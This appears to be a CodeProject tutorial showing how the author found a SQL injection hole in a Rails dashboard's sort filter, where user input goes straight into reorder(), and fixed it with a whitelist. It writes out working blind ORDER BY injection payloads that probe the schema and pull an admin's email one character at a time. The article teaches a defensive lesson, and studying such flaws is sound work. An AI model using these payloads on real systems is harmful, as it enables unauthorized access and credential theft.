Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles / security

Security Vulnerabilities – How to Find and Fix Them

0.00/5 (No votes)
2 Jul 2021CPOL3 min read 3.5K  
Finding a vulnerability, using it for data extracting from the database, and fixing it with just one line of code
This article is about security vulnerabilities that can be found in many projects. Ignoring them can have terrible consequences for businesses. Hopefully, they are easy to fix. Here, I described how I found a vulnerability, showed how it could be used for data extracting from the database, and fixed it with just one line of code.

Introduction

During one of my tasks on the projects, I worked on Dashboard improvements. Dashboard – it’s just the main page for users with different types of entities (showed by cards) and filters in the sidebar (search by keyword, order, filter by type).

Image 1

Here We Go

Here is the HTML code of the Sort filter.

HTML
<select name="order_filter" id="order_filter" class="form-control custom-select">
  <option value="last_seen desc">Recent First</option>
  <option value="created desc">Date Created ⬇</option>
  <option value="created asc">Date Created ⬆</option>
  <option value="title asc">A-Z</option>
  <option value="title desc">Z-A</option>
</select>

Field name for ordering and order in one place with space between. Put the first thought that came to your mind in the comments. 😄

My first thought was, “Why does value look pretty similar to the SQL request part?” I decided to take a deeper look into it and found that we definitely pass it as:

Ruby
scope = scope.filter_results(keyword: @keyword, _
        state_filter: @state_filter, order_filter: params[:order_filter])

where filter_results is just a concern method that calls state_filter and order_filter on model if it exists.

So, in model, we just have this:

Ruby
scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # <- IMPORTANT LINE

ActiveRecord::QueryMethods#reorder replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC

Source: https://apidock.com/rails/ActiveRecord/QueryMethods/reorder

Hello! Let’s play with it a little. Firstly, I decided to test the ability to pass different symbols into the query, and it works well.

I changed one of the HTML filter options to different column names and symbols like brackets, and it works well. So, we have the hole. Let’s put our finger into it.

Image 2

So, how could it help us get some data from the table? We can do some condition and get the result which can be reflected in the order of the cards on the dashboard:

Image 3

Do you remember this game from Tarantino’s Inglorious Bastards film? When guys put stickers with the name of some person onto their foreheads and trying to guess this person’s name by using only questions with answers “Yes” or “No.”

Image 4

Useful construction for ORDER SQL injection is a:

SQL
(CASE WHEN condition THEN first_coumn_name ELSE second_column_name END)

or:

SQL
SELECT IF (condition, first_column_name, second_column_name)

We just need to find a condition (as a question), and two column names to see the result and put it as ORDER BY value (like Yes and No answers).

What could we put into the condition part? Everything. Literally everything.

How about this?

SQL
SELECT IF ((SELECT count(*) FROM information_schema.columns _
      WHERE COLUMN_NAME = 'is_admin' AND table_name = 'users' LIMIT 1)>0, 'YES', 'NO');

If we have is_admin column in users table, it should return YES.

Let’s put in into query with column names for sorting:

SQL
(SELECT IF ((SELECT count(*) FROM information_schema.columns WHERE COLUMN_NAME = 'admin' _
AND table_name = 'users' LIMIT 1)>0, title, created_at))

Image 5

The first card is Fundico, and the second is Area. There is no is_admin column in the users table. Let’s try just admin instead:

Image 6

Here we go! Now we know that we have admin column in our users table.

P.S. The full query with injected code looks like this:

SQL
SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN 
  (SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members` 
    ON `team_members`.`cool_dude_id` = `table_2`.`id` 
    WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***)) 
  ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns 
    WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))

Let’s find the rest of the data by analogy. Firstly, we need to find email of any admin user to get access to the system.

We could do this symbol by symbol using ASCII table:

Image 7

We just need to paste all symbols one by one and look for a match:

SQL
SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) _
            FROM users where admin = true LIMIT 1)=105, title, created_at)

This query returns true if the first ASCII code of symbol in the email of the first admin equals 105 (i.e., the first symbol of email is i).

Then we go for the second symbol using ASCII(SUBSTRING(email, 2, 1)) and find all symbols one by one.

Conclusion

We could find any information using this hole like credentials of all users, phones, addresses, etc. Always be careful and try not to use strings for searches and filters in Rails.

Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.

Use wrappers, like hashes and arrays. Don’t use User.where(“name = ‘#{params[:name]'”).

Use User.where([“name = ?”, “#{params[:name]}”]) or User.where({ name: params[:name] }) instead.

This vulnerability can be fixed using just one line, for example:

Ruby
ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])

History

  • 2nd July, 2021: Initial version

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)